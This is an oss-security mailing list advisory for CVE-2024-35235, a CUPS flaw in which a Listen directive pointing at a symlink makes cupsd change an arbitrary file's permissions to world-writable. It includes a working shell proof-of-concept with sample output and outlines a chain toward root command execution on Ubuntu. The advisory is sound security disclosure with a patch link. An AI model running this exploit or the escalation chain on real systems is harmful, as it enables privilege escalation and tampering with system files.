[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 11 Jun 2024 16:07:27 +0200
From: Zdenek Dohnal <zdohnal@...hat.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2024-35235 cups: Cupsd Listen arbitrary chmod 0140777
Hi all,
there is vulnerability CVE-2024-35235 in cups project:
Description
Summary
When starting the cupsd server with a Listen configuration item pointing
to a symbolic link, the cupsd process can be caused to perform an
arbitrary chmod of the provided argument, providing world-writable
access to the target.
Details
This is an excerpt from a larger chain of vulnerabilities reported in
Ubuntu 24.04. There is an assumption for exploitation that
/etc/cups/cupsd.conf can be successfully edited (this has been omitted
here as it is believed to be out of scope).
When setting up the bind for unix sockets configured in the Listen
parameters of the configuration file, the code does not check for a
successful call to |unlink| and |bind| prior to performing the call to
|chmod|. [1]
On Ubuntu 24.04, by setting the Listen argument to a path such as
|/tmp/stage/file|, where |file| is a symlink elsewhere in the system,
the previous call to |unlink| for the path will fail due to AppArmor
[2], and the subsequent call to |bind| will also fail due to the file
still existing. The return value of the call to |bind| is not checked
before the call to |chmod|, so a successfully planted symbolic link
which causes the |bind| to fail will still be traversed by the call to
|chmod| and the file permissions changed to be world writable.
On systems where the Ubuntu AppArmor policy is not in place, this
vulnerability still exists but as a race condition between the call to
|unlink| and the call to |bind|. A sufficiently fast attacker could
place a symbolic link at the configured location after the call to
|unlink|, causing the |bind| to fail once again and performing a
successful |chmod|.
Severity: Moderate - CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
PoC
The following script can be used for exploitation, sudo is used to
emulate the above mentioned Listen configuration access.
```
set -e exploit()
{
echo "Staging..."
mkdir -m 777 /tmp/stage
ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf
# emulate configuration access to cupsd.conf
echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf
echo
echo "Current permissions of cupsd.conf"
ls -l /etc/cups/cupsd.conf
tail -n1 /etc/cups/cupsd.conf || true
echo echo "Restarting cupsd"
sudo systemctl restart cups
echo
echo "New permissions of cupsd.conf"
ls -l /etc/cups/cupsd.conf
tail -n1 /etc/cups/cupsd.conf || true
}
cleanup()
{
sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf
sudo chmod 640 /etc/cups/cupsd.conf
rm -rf /tmp/stage
}
$@
```
Sample output can be seen below:
```
$ sh poc.sh exploit
Staging...
Listen /tmp/stage/cupsd.conf
Current permissions of cupsd.conf
-rw-r----- 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf
tail: cannot open '/etc/cups/cupsd.conf' for reading: Permission denied
Restarting cupsd
New permissions of cupsd.conf
-rwxrwxrwx 1 root lp 4987 May 24 10:18 /etc/cups/cupsd.conf
Listen /tmp/stage/cupsd.conf
$ sh poc.sh cleanup
```
Impact
Given that cupsd is often running as root, this can result in the change
of permission of any user or system files to be world writable.
Given the aforementioned Ubuntu AppArmor context, on such systems this
vulnerability is limited to those files modifiable by the cupsd process.
In that specific case it was found to be possible to turn the
configuration of the Listen argument into full control over the
cupsd.conf and cups-files.conf configuration files. By later setting the
User and Group arguments in cups-files.conf, and printing with a printer
configured by PPD with a |FoomaticRIPCommandLine| argument, arbitrary
user and group (not root) command execution could be achieved, which can
further be used on Ubuntu systems to achieve full root command execution.
Patch:
https://github.com/OpenPrinting/cups/commit/a436956f3
For OpenPrinting CUPS community,
Zdenek Dohnal
CUPS 2.4.x release manager
--
Zdenek Dohnal
Senior Software Engineer
Red Hat, BRQ-TPBC
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
